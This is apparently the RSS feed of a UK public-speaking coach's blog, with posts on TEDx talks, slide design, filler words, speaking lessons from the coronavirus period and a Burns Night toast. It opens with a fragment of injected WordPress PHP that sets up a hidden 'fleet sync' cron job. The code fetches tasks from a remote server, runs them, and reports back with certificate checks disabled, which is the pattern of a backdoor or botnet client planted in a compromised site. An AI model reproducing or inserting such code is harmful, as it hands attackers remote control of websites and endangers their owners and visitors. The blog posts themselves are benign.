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update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Lyn Roseaman Archives - Now you're talking https://www.nowyouretalking.co.uk/tag/lyn-roseaman/ Public speaking Sat, 06 Jan 2024 17:37:06 +0000 en-GB hourly 1 https://wordpress.org/?v=7.1 TED says – 5 elements of standout talks https://www.nowyouretalking.co.uk/2024/01/08/ted-says-5-elements-of-standout-talks/ Mon, 08 Jan 2024 09:00:13 +0000 https://www.nowyouretalking.co.uk/?p=1584 TED says that standout talks happen when good preparation meets confident delivery and connection to bring us ideas worth spreading. Giving a TEDx Talk has long been an ambition of mine and I was ready to put in the work…

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]]> TED says that standout talks happen when good preparation meets confident delivery and connection to bring us ideas worth spreading.

Giving a TEDx Talk has long been an ambition of mine and I was ready to put in the work and deliver my idea worth spreading.

What I hadn’t realised was how challenging the experience would be and the learnings I would derive.

TED says is what Lyn Roseaman learnt giving her TEDxTalk at TEDxLewisham.

Here are my five things TED shows us.

TED says 1 – Find your TED idea worth spreading

TED talks are no different from any talk or presentation in that they all need a clear message, an idea worth spreading, that the audience will value; a message that will effect change in what they think, feel and do in relation to the subject.

Without this clarity, it’s hard to assemble the right content so that it delivers a clear and memorable message.

If you can’t sum up your message in a few words, it almost certainly needs more thought. And if YOU can’t sum up your message in a few words, your audience has no chance.

The message of my TEDx Talk was that loneliness ruins lives and we all have a responsibility to try and smash the loneliness pandemic. I embedded this message – the problem and the solution – in a memorable anchor phrase, ‘Loneliness shatters. Community matters.’

Please enjoy and comment on my TEDx Talk, ‘Reach out and smash the loneliness pandemic’.

TED says 2 – Better together

Nothing thrills me more than teamwork, so why treat a TEDx Talk any differently?

I made myself a list of people whose advice I cherish, both as friends and speakers. Then I approached each one to see if they’d like to help. Some of us met on Zoom, some of us met in person for dinner or coffee, some showed up on the day to watch the speech live.

We brainstormed ideas, evolved a speech and shared feedback to craft and hone my talk.

And the most wonderful thing for me was when everyone who helped expressed an interest in staying involved beyond an initial meeting. Their continuous help and support was inspirational.

So, never be afraid to ask for help. Fresh perspectives and ideas are always useful, along with a healthy dose of sense checking, feedback and encouragement. TED shows us that we are definitely better together.

TED says 3 – Make your practice real

It’s too easy to practise a talk in front of a mirror or record and playback, whatever your preference. But the important thing is to create a sense of reality that will ramp up the nerves of being in front of an audience and give you a better idea of how everything is working for you.

In front of a mirror, I was great! Word perfect. As soon as I went in front of people, whether in a Zoom meeting, trying it out in a café or delivering at a TEDxLewisham dress rehearsal, I fell apart. At one such event, my knees were shaking so much, I thought I was going to fall over. Every time, I would suddenly lose my way and forget what I wanted to say.

Time to remember that preparation is about internalising, not memorising, a speech. Reminding myself of my speech route map, I was liberated from my script and free to read the room, interact with my audience and sound relaxed, natural and conversational.

TED says 4 – Unpick the nerves

From an anxiety point of view, giving a TEDx Talk was one of the hardest things I’ve ever done. As an experienced speaker, I was a bit shocked by my reactions and wanted to understand better what was happening to me.

The two main negative voices in my head that are always likely to give me a hard time are the “perfectionist” and the “hyper-achiever”. And I was feeding them both.

In my capacity of public speaking coach, I think I gave too much weight to the TEDx opportunity and the importance in my head of doing a good job. My hyper-achiever was out with a vengeance, with an internal monologue that repeatedly told me, ‘If you mess up, what does it say about you as a coach?’

TED was my dream and everything was unravelling, but I wasn’t giving in that easily! I had to find a way to enjoy my moment on the TEDx “red dot”.

TED says 5 – Enjoy the moment

On the day, I was surrounded by fellow speakers and lovely friends. The mutual support and encouragement were phenomenal.

As I took to the stage, wrapped in their warm and positive vibes, I reminded myself that I had a speech I was proud of , with a relevant and relatable message.

I looked around the audience, raised my hand and began…

‘Hands up if you’ve ever felt lonely’. Up went a strong show of hands and we were off… speaker and audience together. We enjoyed sharing relatable experiences and I thoroughly enjoyed sharing my stories.

TED shows us that to bring a speech or presentation to life in an engaging and memorable way needs a clear idea worth spreading, preparation, confidence and, above all else, connection with your audience.

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]]> Change matters in our talks and presentations https://www.nowyouretalking.co.uk/2023/10/27/change-matters-in-our-talks-and-presentations/ Fri, 27 Oct 2023 12:56:55 +0000 https://www.nowyouretalking.co.uk/?p=1579 Change matters to speakers. Our job when we give talks and presentations is to create change – change what our listeners think, feel or do about our subject. I recently gave a TEDx Talk about what we can do about…

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]]> Change matters to speakers. Our job when we give talks and presentations is to create change – change what our listeners think, feel or do about our subject.

I recently gave a TEDx Talk about what we can do about loneliness.

Lyn Roseaman giving a TEDxTalk inviting people to change their thoughts, feelings and actions about loneliness

 

It was a talk full of stories from my childhood and the present day, inviting people to change how they handle loneliness and pull together to help smash the loneliness pandemic.

Loneliness is shattering lives, especially young people’s lives. It could happen to any of us, at any time. Hiding under the duvet might seem like a great solution, but withdrawing from the world only makes things worse. Difficult and painful as it is, we need to reach out.

Presenting the case that “Loneliness shatters” and “Community matters”, I seek to change what my audience thinks, feels and does about loneliness.

Inspired by memories of my childhood and growing up in the community of a care home owned and run by my mum, I invite my audience to discover bite-sized ways to help us smash the “loneliness pandemic”. Change matters!

This talk was given at a TEDx event using the TED conference format but independently organised by a local community.

You can listen to the full talk here.

Love to hear your thoughts.

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]]> I’m late! https://www.nowyouretalking.co.uk/2023/02/27/im-late/ Mon, 27 Feb 2023 09:14:00 +0000 https://www.nowyouretalking.co.uk/?p=1503 I’m very rarely late for anything. Meetings, flights, theatre starts or project deadlines. If it’s in my calendar, I’m usually there. But I seem to have spent my life being late for key life events that society generally expects to…

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]]> I’m very rarely late for anything. Meetings, flights, theatre starts or project deadlines. If it’s in my calendar, I’m usually there. But I seem to have spent my life being late for key life events that society generally expects to happen at a certain time.

It all started with a due date. My debut. Expected 14 July in a local village hospital. Cancerian.

In the words of the White Rabbit:

“I’m late, I’m late for a very important date. 

No time to say goodbye, hello, I’m late, I’m late, I’m late.”

2 weeks late, in fact, refusing to come out, running out of oxygen, turning blue, blue flashing lights emergency dash from the village hospital to the North Middlesex in Edmonton. I made it! Late, but not too late. Leo. And technically, I suppose, a Londoner.

The years rolled by and I found myself late going to university. This time was a deliberate plan. Go to Paris to finesse my French while working as a waitress in hotels, before going to Exeter to study French and philosophy.

I got even later as I decided to go to Germany and hone my German, still working in hotels and loving languages.

Not sure what happened, but instead of Exeter I found myself in Scotland, studying hotel, catering and tourism… of course, with some languages thrown in!

Consequently, I was late getting a permanent job. I loved the academic world and just couldn’t tear myself away. Until I decided it doesn’t pay enough! What job could I do? I chose market research because it had the word research in its name and that’s what I’d been doing for most of the previous decade.

As a market researcher I gave a lot of presentations and conference papers. I’d received the cursory presentation skills training. I don’t think it was much help. I was vaguely competent… But certainly not connected or engaging. If only I’d known then what I know now!

And now I’ve realised that I was also late finding my ideal job.

Online, I kept doing these tests to find your ideal job, the one that suits you best. Most seemed to tell me my career choice as a market researcher was number 11 and that there were 10 jobs better suited to me. I wasn’t prepared to pay the money they wanted to reveal my top 10. But after completing my Distinguished Toastmaster, I think I’ve found it.

I started Now You’re Talking my own business as a public speaking coach.

My friend, Sally, heard me doing some one-to-one coaching and I overheard her say “Now there’s a Lyn I haven’t seen for a long time”.

Dream job. Late, but hopefully not too late.

I’m definitely still chasing something, but I’ve no idea what it is! Too late? Watch this space!

PS Bonus tip if you struggle to deliver talks and presentations that run to time

 

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]]> It’s you or the slides! https://www.nowyouretalking.co.uk/2023/01/26/its-you-or-the-slides/ Thu, 26 Jan 2023 12:00:33 +0000 https://www.nowyouretalking.co.uk/?p=1482 Are you the presenter or the slide operator because your audience won’t allow you to be both. It’s you or the slides Not a day goes past when I don’t shudder at the sight of PowerPoint slides created to enhance…

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]]> Are you the presenter or the slide operator because your audience won’t allow you to be both. It’s you or the slides

Not a day goes past when I don’t shudder at the sight of PowerPoint slides created to enhance a presentation. ‘Death by PowerPoint’ isn’t a new phrase, yet most presenters, sadly, keep knocking out slides guaranteed to work against them, disengage their audience and create a whole load of unnecessary work.

Any of these sound familiar?

  • When we’re invited to speak or present, we start knocking out slides. It’s like being on autopilot – we have some data so let’s make a slide

 

  • As speakers, we’re generous and we want to share what we know, but it’s invariably more than an audience can take in when they hear it for the first time

 

  • Slides become a crutch to remind you what you want to say

Two things you need to know about slides

  • Audiences tend to read before they listen. If you put up a slide that takes more than a glance to absorb, then you’ve just made the slide deck the presenter. You are redundant!

 

  • Impactful slides SUPPORT, not replace, the speaker – they are not the pre-read or the leave-behind. They must bring your message to life, at a glance, and free you to talk about why it matters/the learning/action point

Less is always more. Today’s audiences have miniscule attention spans – some say less than a goldfish, ie seconds, not minutes. Slides undermine your presence and limit your ability to be responsive to your audience in the moment.

And hiding behind slides online is even worse as people stare at a screen with a tiny image of you in the corner somewhere.

It’s you, your stories and your clear message that keep audiences focused and attentive. It’s you or the slides!

Message first. Slides last – nine ways to make an impact

Message first – Start by being crystal clear on your message and the stories you need to share. Don’t slavishly make slides just because it’s on your questionnaire. Bring in the information you need to support your point

Purpose – Agree with your client what you’ll present and what you’ll provide as a leave-behind document. Don’t forget, different audiences have different needs and you need to produce relevant content for each. For instance, the board does not want the detail of the marketing team

Must-have info only – Only include slides that directly drive forward your message – support you and illuminate your message. You won’t need very many. Good for you in terms of preparation time. Good for the audience as they came to listen to you, not read a slide deck

Support, not replace – Be sure that each slide supports, not replaces, you. There is nothing worse than loads of bullet points that you’re going to read – audiences can read faster than you can speak!

Data don’t make an impact – Numbers and percentages aren’t particularly engaging, relatable or memorable, so keep them to a minimum. For example, poor mental health affects one in four people in any given year. That’s two of the people sitting at your table. Maybe more. Or Foetal Alcohol Syndrome affects 6% of the population – that’s two children in every class of 30

Use visuals – A picture really does speak a thousand words… at a glance. The acid test. A picture will convey information far more efficiently and quickly than you can with words. Find your relevant story and share a picture that encapsulates its essence

Big and bold – Channel Steve Jobs and use large fonts and few words. He famously put one word on a slide in 190-point size. Audiences can take in what’s on the slide at a glance and then have to listen attentively to find out more. Don’t overload your slides – less is always more

Builds help keep listeners with you – Use animations/builds so the audience only sees what you want them to see at the right moment. Putting all the information up at one go allows the audience to read ahead and ignore what you’re saying

Slides last – Write the slides last. You’ll be surprised by just how few you need and how much time you save!

Remember, it’s you or the slides.

Liberate yourself from endless, dull slides that regurgitate the findings of your questionnaire. Find your message and enter the sweet spot where you and your listeners are working together, almost co-creating your presentation. Only then can you give your audience what they came for – something new, relevant, engaging and memorable.

First published in Significant Insights

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]]> Speak up and make an impact https://www.nowyouretalking.co.uk/2020/05/17/speak-up-essentials-of-a-good-speech/ Sun, 17 May 2020 16:47:46 +0000 https://www.nowyouretalking.co.uk/?p=1051 “There are three essentials of a good speech or presentation – making a connection, having a message that drives change and delivering with confidence.” Now more than ever, being able to speak and present with impact is a fundamental life…

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]]> “There are three essentials of a good speech or presentation
– making a connection, having a message that drives change
and delivering with confidence.”

Now more than ever, being able to speak and present with impact is a fundamental life skill. It’s high on employers’ wish lists; you need it for meetings, networking, pitches and presentations, conference talks and keynotes. Speaking benefits far outweigh the costs, yet many of us turn down speaking opportunities rather than face the challenge and harness the three essentials of a good speech or presentation.

Why speaking is a good idea

Even before the advent of social media, speaking at conferences was part of my strategy for developing the Leisure, Travel and Tourism business area at MORI. And it worked, communicating expertise to large numbers of potential clients in the UK and overseas. The resulting papers provided impactful PR material and raised my personal and research credentials as a go-to sector specialist.

It’s no coincidence that the research industry now has, for example, AQR Young Disruptors, MRS &more and new speaker track at IIeX.

New research among speakers in ‘Now You’re Talking! Take your speeches, talks and presentations to a wider audience and a bigger stage’ sheds light on how we lose out when we shy away from speaking, and the opportunities it can bring to us as individuals, to our businesses and in terms of our collective research knowledge.

First, speaking at events raises your personal profile, especially on social media, showcases who you are and your ideas. It helps build your confidence, influence and reputation which, in turn, attracts opportunities and helps your career.

Second, speaking is also good for your organisation’s credibility and presence, and can bring new business derived from your authority as a speaker of value. Connecting with people who have listened to your conference talk is a less intimidating and warmer approach to new business relationships than a commercial pitch or networking.

Third, speaking strengthens our collective thinking and knowledge. Nowadays, we all have a voice and a channel for sharing our thoughts and opinions, though very little is new and often poorly curated. As speakers, we have a responsibility to deliver quality material of value to an audience that also drives forward ideas and thinking.

Being a good speaker is a real asset. But what makes a good speech and how can you build your own personal toolkit for giving one? The Now You’re Talking Speaker Survey reveals three essentials of a good speech – Connection, a message that drives Change and Confidence – the 3Cs.

Connection

If you can’t connect with your audience, you might as well be talking to yourself. Connection is not only about being likable – the smile, good eye contact, friendly conversational style, etc – but also about being relevant. And, with today’s notoriously short attention spans, you need to gain your audience’s attention and interest fast.

Picture yourself sitting in an audience. You’ve set aside the time, maybe even spent money to be there. You’re wondering ‘What’s in it for me?’ As a speaker, it’s your job to answer that question. To do that, you need to ‘deep research’ your audience. It’s not just about their name and job title. Depending on whether you’re talking to a larger, conference-style audience or debriefing a project team, key questions might cover the goals of the event, other speakers, audience profile, what they do/know/expect/how they talk and what do they most want from you.

The more you know about your audience, the stronger your ability to connect with them and influence their thinking and behaviour on their terms, ie answer their ‘What’s in it for me’ question.

And it’s not just about the content of your speech. Knowing your audience will also give you strong pointers about delivery – whether or not you need slides and how many, relevant stories, appropriate levels of energy, vocal variety, body language and so on.

A message that drives Change

Speaking is a privilege, an opportunity to share your knowledge in a way that positively impacts others. There is no point in speaking if you are only going to tell people what they already know. Having researched your audience, you will have a good idea of what they’ll value.

All too often we confuse audiences because we grab our data and start making slides without even thinking about our message and its value to our listeners.

Instead, try starting at the end. What do you want your audience to think, feel or do differently after they’ve heard your talk or presentation? What is the single most important message you need them to take away? Jot it down in large letters in fewer than ten words and keep it visible. Any content you try to include that doesn’t support your message doesn’t belong in this particular talk or presentation.

Confidence

“Confident speakers are frequent speakers,
so take every opportunity to speak up”

Confidence is one of the three essentials because it is part of your authority and credibility as a speaker. If you don’t feel confident in what you have to say, then why should your audience? When audiences sense your fear, they will often be more concerned about your wellbeing than about what you’re saying. Confidence allows your listeners to relax and engage with what you have to say; your message, not how you’re feeling.

Confident speakers are frequent speakers, so take every opportunity to speak up, be it to a small group of colleagues, in a meeting, on the phone, in a pitch or presentation. Get comfortable with speaking and use the opportunity to practise different techniques, eg voice projection, storytelling, opening a speech with impact, etc. Invite people to give you specific feedback on what they liked and any improvements they would welcome.

Building your speaker’s treasure trove

Your biggest ally as a speaker is you – your authentic self, your personal stories and experiences, your ideas, your style of speaking, your gestures and facial expressions. They are all uniquely yours and can help you express your vision in a way that is fresh and stands out. Here are some tips for building your treasure trove of ideas and techniques:

  • Keep a special place where you capture your ideas for speeches – phone, electronic notes, recorder, etc. The important thing is to capture the thought, because otherwise it will get lost in the busyness of your day.
  • Keep abreast of reliable sources of ideas, including Blinkist, quality publications, industry journals, TED Talks, etc. These may also give you some useful statistics or quotes for an attention-grabbing opening to a speech or talk.
  • Be aware of how you normally speak. Your tone of voice, speaking speed, volume will change to reflect different words and emotions. These will form the basis of your vocal styling in front of an audience.
  • Similarly, be mindful of your natural facial expressions, hand gestures and posture. They speak the truth. In the case where your non-verbal language and your words are incongruent, it’s the non-verbal communication people will believe.
  • Take note of the things you say that make people laugh. For most of us, this gentle, personal and often self-deprecating humour is far more powerful than stand-up-style jokes.
  • Practise different aspects of speaking at every opportunity.

Whether you’re an experienced researcher or at the beginning of your career, public speaking is a very good idea for you, your business and the industry’s collective knowledge. Embrace the three essentials of a good speech and finesse how you take your ideas to a bigger stage.

Originally published in MRS Impact Issue 29 April 2020

 

 

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]]> Coronavirus lessons for public speakers https://www.nowyouretalking.co.uk/2020/03/24/coronavirus-lessons-for-public-speakers/ Tue, 24 Mar 2020 17:32:25 +0000 https://www.nowyouretalking.co.uk/?p=1005 Covid 19 is driving all of us to online meetings, seminars, conferences and many other opportunities to keep in touch with our friends, family and colleagues. However, I’ve been struck by the coronavirus lessons for public speakers based on some of…

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]]> Covid 19 is driving all of us to online meetings, seminars, conferences and many other opportunities to keep in touch with our friends, family and colleagues. However, I’ve been struck by the coronavirus lessons for public speakers based on some of the things going on in public life and slogans adopted to communicate with us and keep us all safe during these challenging times.

1. Confusing messages have no impact

Sounds obvious, doesn’t it? But over the past few weeks, the UK has received unclear, indecisive messages about what to do in the face of the coronavirus crisis. Language such as ‘should’, ‘could’, ‘might’ is indefinite and confusing. If we want people to respond to our calls to action, we need to be precise and unambiguous.

To find your clear message, start at the end. What do you want your audience to think, feel or do after they’ve heard what you have to say? If you are clear about the answer, you will be able to articulate it in about 10 words. If you can’t, you need to strip back and reduce your ideas to their very essence. In the words of Albert Einstein:

“If you can’t explain it simply, you don’t understand it well enough.”

If you can then convert your message into an anchor phrase or ‘soundbite’ that encapsulates the content of your speech and is short, rhythmic and rhymes, then you have a memorable takeaway that will make your words live on long after you have finished speaking. For example, ‘failing to prepare is preparing to fail’, ‘women’s rights are human rights’, ‘I have a dream…’

2. Expertise brings credibility

We are repeatedly being told that decisions about coronavirus are being led by science and the expertise of scientists. We are persuaded by their expertise. Aristotle told us that there are three elements to delivering a persuasive message – Ethos (our credibility as speakers), Logos (evidence, facts and figures that need to be explored), and Pathos (emotional engagement with your audience). The combination of these three is key. Consider how, for instance, the ‘facts’ of science are being infused with more emotional messages about the need for us to be responsible to save lives.

As speakers, we need to establish our credibility. This doesn’t mean that only people who have been doing it for years or are famous are eligible to speak. Indeed, time alone is often a poor reason to speak, especially if the message doesn’t evolve and reflect current challenges. Speaking is an opportunity and your expertise, experience or involvement in a project are your authority, your credibility. Make sure you or your meeting host establish your credibility from the outset and don’t forget to dress accordingly to reinforce that position.

3. Get personal and active

If you want people to pay attention to, and act on, what you’re saying, you need to make it personal. ‘You’ is the magic word. ‘You’ is inherently inclusive and individual at the same time. Its use instantly includes everyone in the audience and speaks to each person as an individual, so that they feel as if you are speaking directly to them.

Dial up the number of times you use the word. Barak Obama had this down to a fine art when it came to connecting with his listeners. In his 2012 presidential election victory speech, Obama used the personal pronoun ‘I’ 36 times. In stark contrast, he used ‘you/you’re/your’ 55 times and ‘we/us/our’ 97 times.

The official line has been passive and slow to get to the point. Phrases like “You should work from home” and “social distancing” are vague and flat. If we want people to do something, we need to give people a reason, make it personal so that they can see the benefit and speak in the more immediate and present style of the active voice. Fortunately, the world of hashtags is more dynamic, active and to the point #WFH #WorkFromHome #StayHome #StaySafeSaveLives #KeepYourDistance.

4. We will get through this!

There’s a conviction being conveyed that, together, we will overcome coronavirus. This belief is helpful when it comes to managing our nerves and building our confidence as speakers. Being nervous is completely normal and you are not alone. As Mark Twain observes:

“There are two types of speakers. Those who get nervous and those who are liars.”

Not only are nerves part of being human, speaking is a learnable skill and we can learn to channel our nerves into the energy we need to speak in front of an audience. To help us do this, I have developed the PRO apPROach to befriending our nerves:

  • Bring a sense of PROportion to our speaking, taking our foot off the panic pedal and working through what it is that frightens us; how we can prevent these fears becoming a reality and any damage limitation if they do; the costs of not speaking for our personal profile, careers, businesses, etc and the significant benefits of having a go.
  • PROgram your brain away from the adrenaline-rushing, survival, primordial response to the idea of public speaking so that you can learn to recognise it as something ’we will get through’ and, over time, enjoy. Move the spotlight onto your audience and think of yourself as giving them something of value. Try to talk about things that matter to you and your audience so that your enthusiasm shines through and celebrate your success every time you give a speech or presentation. It’s a big deal. You can think about improvements later. PROgram a ‘pat on the back’ and reduce the survival response.
  • Embrace a PROcess of incremental improvements. Start with small audiences. Practise at every opportunity. Now is a great time with all these online meetings and gatherings. Identify specific skills you want to work on and invite feedback so that the process is always one of ongoing learning and growth.

5. ‘Don’t touch your face!’ and other non-verbal signals

This is a great tip from a body language perspective. When we touch our faces as speakers, we make our audience wonder what we have to hide. Any trust we have built up will be undermined. Keep your hands away from your face and use them with purpose to reinforce your words.

Essentials of body language online include a heartfelt smile and steady eye contact. But don’t forget to maintain a good posture. It’ll make you feel more confident and send that to your audience. Similarly, if you are sitting, use an office-type chair and adopt an upright position. I see a number of people sitting forward in a chair and then they begin to sway to and fro. This makes them look nervous and is highly distracting. Similarly, if you’re standing, plant yourself firmly, soften your knees and lean slightly into the balls of your feet for additional energy. Dial down movement, when you’re online, you’re effectively on the ‘small screen’ and large gestures can overwhelm or distract.

6. In this together

Speaking at its most impactful is an outcome of co-creation between speaker and audience. It’s not about a speaker talking AT their audience, but rather having a conversation WITH them. Conversation is a two-way, negotiated experience.

At the moment, we’re seeing a lot more kindness and humanity, so now is a great time to have a go. Interact with your audience – ask them questions, mirror their body language, tap into their reactions. Invite their input on the spot and see where it takes you.

7. And a final thought… how do you stand out online when everyone has moved there?

It was already difficult to stand out in the world of social media, where so many people are creating and sharing content. Now, more than ever, you need to find ways to attract attention. Consider, for instance:

  • How you can bring a fresh twist to your content. You might adopt a different perspective or discipline. If, for instance, you’re a neuroscientist, what can a musician bring to your message (eg David Eagleman and Anthony Brandt)?
  • Explore your ideas through play and see how your message or theory evolves.
  • Tell a relevant personal story or share your personal vision.

And, of course, bring interesting vocal stylings to your delivery in terms of variety of pace, pitch, volume, pausing. If you’re in any doubt about you vocal skills, try reading a story to a child, they’ll soon let you know if you’re not up to scratch!

Now you’re talking in the time of coronavirus! I’d love to hear about the coronavirus lessons for public speakers you are reminded of at this time.

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]]> What to do when like turns to dislike https://www.nowyouretalking.co.uk/2020/02/04/like/ Tue, 04 Feb 2020 22:48:27 +0000 https://www.nowyouretalking.co.uk/?p=427 Like has crept into (or should I say is revisiting) the English language and sometimes feels as if it’s destroying the richness of the language, its nuances and variety.  When you’re giving a speech or presentation, the words you choose…

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]]> Like has crept into (or should I say is revisiting) the English language and sometimes feels as if it’s destroying the richness of the language, its nuances and variety.  When you’re giving a speech or presentation, the words you choose to use impact your authority and memorability.

From ‘er’ to the ‘L’ word

“627 ers and ums this morning!”

“That’s just over 10 a minute on average.  How is that even possible?”

I remember sitting in lectures in the 1980s, counting the ‘ers’ and ‘ums’ of a professor.  He had so many variations on the fillers that the five-bar counting of er, ah, um, eh, ar, mm, ehm, etc became all-consuming.  That’s all I remember of his lectures.  This may say something about repetition as a means of driving home a message, but I’m sure this was not the takeaway he hoped for!

Fillers are for sandwiches, professor, not for speakers or, indeed, lecturers.  These tiny little words, or should I say sounds, are distracting, annoying and do nothing to further the speaker’s cause.

English is a rich language, continuously evolving and changing.  It is indubitably subject to people’s own creativity and imagination, while technology in general and social media in particular are also having a profound impact.

The word ‘like’, for instance, while not a new word, has relatively recently inveigled its way to prominence in many people’s everyday speech.

With technology, notably Facebook, has come the ‘L’ word and it seems to be rapidly undermining our ability to tap into the richness of the English language.

When ‘like’ first took over, I received some transcripts of focus groups conducted in the USA.  They were utterly intelligible.  Surely there was some mistake.  Sentences were incomplete.  The point the speaker wanted to make was reduced to ‘like’, which seemed to be some synonym for ‘you know?’  And the moderator demonstrated an appalling lack of curiosity by assuming she did, indeed, know what ‘like’ meant.  I asked for the transcripts to be reviewed and they had to re-run the groups to find out what the participants really wanted to say.

Please don’t ‘like’ the English language too much

Like English language

The Second Edition of the 20-volume Oxford English Dictionary (OED) contains full entries for 171,476 words in current use, and 47,156 obsolete words.  To this may be added around 9,500 derivative words included as sub-entries.

It is, arguably, impossible to count the number of words in the English language.  That’s why the OED pitches itself on 615,100 ‘definitions’ rather than total number of words.  If all the different senses are included, the total word count in current English usage would bump up to nearly 750,000.

However, you cut it, that’s a lot of words and apparently we use very few of them.  As with the total number of words, it is difficult to measure vocabulary size accurately as it varies greatly from person to person.

Robert Charles Lee suggests that average adult native English speakers know some 20,000 to 35,000 words.  He goes further.  You’ll only need to know 3,000 words in current use to get through 95% of all reading matter.  That is a mere 1.75% of the 171,476 words in current use.

Like in today’s language

And ‘like’ is a major contributor.  Why, I wonder.  It may have something to do with the extraordinary variety of uses of like, both traditional and modern.  It can be used as a verb, noun, adverb, adjective, preposition, conjunction …

  • Like as a verb – put simply, to enjoy or get pleasure from something.
  • Like as a noun – something that you like, approve of, or enjoy (usually plural), eg my likes and dislikes
  • Like as an adverb – meaning probably, eg like as not.  However, in contemporary usage,
  • Like as an adjective – having the same or similar qualities
  • Like as a preposition – similar to (something or someone), typical of, comparator, etc
  • Like as a conjunction – in the sense of ‘as if’, ‘the way’, ‘the type’.  Some say this usage is a grammatical error

Like in the modern vernacular has many additional uses, especially among younger people.  For example, it can emphasise a word or phrase, eg He was, like, Wow! That’s awesome.

It can indicate a tentative or approximate sense, a lack of confidence or certainty, eg I want to, like, leave home, I think it costs, like, £20.

Quotative like can cover both ‘saying’ and ‘thinking’.  It has effectively become a surrogate verb.  According to linguist Alexandra D’Arcy, it caught on fast, so that the teenagers of the 1990s and beyond use quotative like in about half the situations where they could use ‘like’ or ‘say’ or ‘think’.  She also says that it is an Americanism, but it seems to have crossed international borders at the speed of a computer virus.

Like as a filler – er and um seem to have largely yielded place to the ‘L’ word.  It may also be found at the start of sentences, replacing ‘so’, ‘well’, etc.

Like as a stand in for actual words.  It is not unusual to hear sentences ending in ‘like’, leaving the unspoken words to the imagination of the listener.  Since we are not mind readers, this can be a risky business.

Choose your words for clarity, colour and credibility

As in the case of my professor, excessive use of the ‘L’ word was such a distraction that we couldn’t concentrate on what he was actually saying.

PauseRemarkably, it seems that when required, people can lose the ‘L’ word.  I have a friend who is an excessive user of the ‘L’ word.  One morning, in an interview on BBC Breakfast, he spoke fluently for five minutes without once using the word. How? A simple pause.

Some likes, I like!  But consider, too, what synonyms may be available to enrich and vary your vocabulary.  Please don’t ‘like’ our rich language to death.  Use it selectively and appropriately to communicate, not to distract.

If you want to express yourself clearly and credibly or find yourself in a more formal situation, such as public speaking, lecturing or taking part in a TV interview, try and minimise inappropriate or excessive use of the ‘L’ word. Pause … And continue to your next point.

 

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]]> Burns night – Toast to the Lassies https://www.nowyouretalking.co.uk/2020/01/24/burns-night-toast-to-the-lassies/ Fri, 24 Jan 2020 12:11:00 +0000 https://www.nowyouretalking.co.uk/?p=971 “The sweetest hours that e’er I spend Are spent amang the lasses, O” And who can blame him! We all know that Rabbie Burns loved the lassies, but he also respected and valued us. He knew that the focus on…

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]]> “The sweetest hours that e’er I spend
Are spent amang the lasses, O”

And who can blame him!

We all know that Rabbie Burns loved the lassies, but he also respected and valued us. He knew that the focus on the Rights of Man was wrong and said:

“The Rights of Woman merit some attention.”

Last time we were together to celebrate the great Rabbie Burns, I think we established very clearly the superiority of the lassies …

  • Girls get better exam results at school than you boys
  • We make better managers
  • Better at science
  • Better investors
  • Better drivers!

I can feel Burns rejoicing in the achievements of the lassies. We’ve just been celebrating 100 years of some women getting the vote. Without a vote, women were grouped with children and the insane, women were non-people, the property of their husbands. Imagine!

In 1918:

  • There were no women in the police
  • There were no women MPs
  • And women certainly didn’t get the top job as PM
  • Oxford and Cambridge didn’t allow women to take degrees and up until 1948 Cambridge awarded women a degree in title only. BA TIT! Thanks boys!
  • There were fewer than 500 female doctors in England and Wales
  • That left male doctors free to do what they liked. And they did! For instance, they invented Anorexia Scholastica – only affected women; debilitating thinness resulting from too much mental stimulus. If only that were true, I for one would have read so much more!!! They suggested that maths was a particular problem, diverting energy from the reproductive system. And if you were careless enough to get pregnant, you could be fired
  • Women could even be refused service for trying to spend their own money in a pub.

100 years later, all that’s changing. in 2018:

  • Cressida Dick has the top job in the Metropolitan Police
  • 208 women MPs in Westminster
  • Love them or hate them, we now have our 2nd female PM and Nicola Sturgeon is First Minister in Scotland
  • 57% of graduates are women
  • Nearly half of registered doctors (in England and Wales) are women
  • And Anorexia Scholastica has been completely cured!

We’ve come a long way. But there’s still work to do, not least, closing the wretched gender pay gap.

Meanwhile, the laddies aren’t feeling so good:

  • 1 in 3 men in the UK think masculinity is in crisis and no one knows what to do about it
  • Everything used to be so clear. Be the breadwinner, be the boss, look after your family and be heterosexual. Now, men are expected to be kind, fair and emotionally intelligent. What does that mean?!
  • In the confusion, boys are doing worse than girls at school (56% of boys achieved GCSEs grade C and above, compared with 66% of girls). And boys are a third less likely to go to university
  • Men in their 20s could find themselves earning the same or less than women in their 20s as the gender pay gap closes among the 20-somethings
  • 87% of rough sleepers are men
  • Men are experiencing a mental health epidemic, accounting for 3 in 4 suicides
  • Men are much more likely to be sent to prison
  • In essence, men are now cast as villains and to blame for all that’s wrong in the world, scared of being ‘wrongly’ accused of inappropriate behaviour. And their fear may well be justified given Gillette’s latest ad. A laudable aim to bring a more contemporary vision of masculinity and reinvigorate the 30-year old tagline ‘the best a man can get’. But what we got, was a message that most men are on the wrong track, not good enough, must do better and change!

We don’t really believe that, do we girls?

Has it all gone too far? Should we consider the unthinkable, join forces and work together.

Rabbie urges us to try and empathise a bit:

“O wad some Pow’r the giftie gie us
To see oursels as ithers see us!
It wad frae mony a blunder free us,”

And when we empathise, we can see that we’re wired differently and there’s nothing wrong with that. We can complement each other. For instance:

  • Women remember everything – larger hippocampus – that’s the bit where we store memories. So we remember every single word of every single argument!
